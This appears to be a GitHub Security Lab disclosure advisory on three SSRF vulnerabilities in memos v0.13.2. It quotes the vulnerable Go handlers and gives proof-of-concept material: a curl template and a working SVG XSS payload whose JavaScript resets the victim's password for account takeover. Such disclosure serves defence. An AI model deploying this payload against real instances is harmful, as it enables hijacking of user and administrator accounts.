Coordinated Disclosure Timeline

Summary

Multiple SSRF vulnerabilities exist in the memos API service that allow unauthenticated and authenticated users to enumerate and read from the internal network. In addition, one SSRF vulnerability leads to a reflected XSS vulnerability, which may allow an attacker complete control over the administrator account.

Product

memos

Tested Version

v0.13.2

Details

Issue 1: SSRF in /o/get/httpmeta (GHSL-2023-154)

An SSRF vulnerability exists at the /o/get/httpmeta that allows unauthenticated users to enumerate the internal network and receive limited html values in json form.

func (*APIV1Service) registerGetterPublicRoutes(g *echo.Group) {
	g.GET("/get/httpmeta", func(c echo.Context) error {
		urlStr := c.QueryParam("url") <--- user input
		if urlStr == "" {
			return echo.NewHTTPError(http.StatusBadRequest, "Missing website url")
		}
		if _, err := url.Parse(urlStr); err != nil {
			return echo.NewHTTPError(http.StatusBadRequest, "Wrong url").SetInternal(err)
		}

		htmlMeta, err := getter.GetHTMLMeta(urlStr) <--- HTTP request using user input
		if err != nil {
			return echo.NewHTTPError(http.StatusNotAcceptable, fmt.Sprintf("Failed to get website meta with url: %s", urlStr)).SetInternal(err)
		}
		return c.JSON(http.StatusOK, htmlMeta)
	})

Issue 2: SSRF in /o/get/image (GHSL-2023-155)

An SSRF vulnerability exists at the /o/get/image that allows unauthenticated users to enumerate the internal network and retrieve images. The response from the image request is then copied into the response of the current server request, causing a reflected XSS vulnerability.

	g.GET("/get/image", func(c echo.Context) error {
		urlStr := c.QueryParam("url") <-- user input
		if urlStr == "" {
			return echo.NewHTTPError(http.StatusBadRequest, "Missing image url")
		}
		if _, err := url.Parse(urlStr); err != nil {
			return echo.NewHTTPError(http.StatusBadRequest, "Wrong url").SetInternal(err)
		}

		image, err := getter.GetImage(urlStr) <-- html from user supplied URL
		if err != nil {
			return echo.NewHTTPError(http.StatusBadRequest, fmt.Sprintf("Failed to get image url: %s", urlStr)).SetInternal(err)
		}

		c.Response().Writer.WriteHeader(http.StatusOK)
		c.Response().Writer.Header().Set("Content-Type", image.Mediatype)
		c.Response().Writer.Header().Set(echo.HeaderCacheControl, "max-age=31536000, immutable")
		if _, err := c.Response().Writer.Write(image.Blob); err != nil {                            <-- html written to response, causing XSS
			return echo.NewHTTPError(http.StatusInternalServerError, "Failed to write image blob").SetInternal(err)
		}
		return nil
	})

Issue 3: SSRF in /api/resource (GHSL-2023-156)

An SSRF vulnerability exists at the /api/resource that allows authenticated users to enumerate the internal network.

func (s *APIV1Service) registerResourceRoutes(g *echo.Group) {
	g.POST("/resource", func(c echo.Context) error {
...
		if request.ExternalLink != "" {
			// Only allow those external links scheme with http/https
			linkURL, err := url.Parse(request.ExternalLink)
			if err != nil {
				return echo.NewHTTPError(http.StatusBadRequest, "Invalid external link").SetInternal(err)
			}
			if linkURL.Scheme != "http" && linkURL.Scheme != "https" {
				return echo.NewHTTPError(http.StatusBadRequest, "Invalid external link scheme")
			}

			if request.DownloadToLocal {
				resp, err := http.Get(linkURL.String())

Impact

SSRF issues may lead to Information Disclosure about the internet network.

XSS issue may lead to Privilege Escalation as it would allow anyone to login as the administrator account.

Resources

SSRF Proof Of Concept:

To access the unauthenticated endpoints: curl http://0.0.0.0:5230/o/get/<endpoint>?url=<full url>

To access authenticated endpoint: Log into memos -> Resources -> Create Resource -> Select External Link and Put in the Full URL to Enumerate. Ensure in the request that downloadToLocal is has value ‘true’.

XSS Proof of Concept:

An attacker will host the following SVG file. When a user (administrator or normal) clicks on the following link http://0.0.0.0:5230/o/get/image?url=<attacker controlled svg file url>, the user’s account password will be changed to password and the attacker can login. <?xml version=”1.0” standalone=”no”?> <!DOCTYPE svg PUBLIC “-//W3C//DTD SVG 1.1//EN” “http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd”>

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    var xmlhttp = new XMLHttpRequest();
    <!-- grab the current id and optionally username in json form -->
    xmlhttp.open("GET", "/api/user/me"); 
    xmlhttp.send();
    xmlhttp.onreadystatechange = function() {
    if (xmlhttp.readyState == XMLHttpRequest.DONE) {
        var id = JSON.parse(xmlhttp.responseText).data['id'];
        var xmlhttp2 = new XMLHttpRequest();
	<!-- update the password using the /api/user/id endpoint with the given id -->
        xmlhttp2.open("PATCH", `/api/user/${id}`)
        xmlhttp2.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
        xmlhttp2.send(JSON.stringify({ "id": id, "password": "password" }));
    }
}
  </script>
</svg>

CVE

Credit

These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings) with the help of CodeQL.

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-154, GHSL-2023-155, or GHSL-2023-156 in any communication regarding these issues.